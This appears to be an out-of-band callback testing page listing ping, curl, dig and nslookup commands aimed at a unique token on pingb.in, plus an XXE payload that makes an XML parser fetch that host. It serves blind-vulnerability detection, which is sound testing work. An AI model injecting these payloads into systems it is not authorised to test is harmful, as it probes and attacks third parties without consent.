$ ping -c1 -p 0087ef9314fc06ea6ae68fb623528300 pingb.in
 
$ curl pingb.in/p/87ef9314fc06ea6ae68fb6235283
 
$ dig 87ef9314fc06ea6ae68fb6235283 @pingb.in
 
$ dig 87ef9314fc06ea6ae68fb6235283.ns.pingb.in
 
C:\> nslookup 87ef9314fc06ea6ae68fb6235283 pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/87ef9314fc06ea6ae68fb6235283">]>
    <foo>&xxe;</foo>
 
Waiting for ping...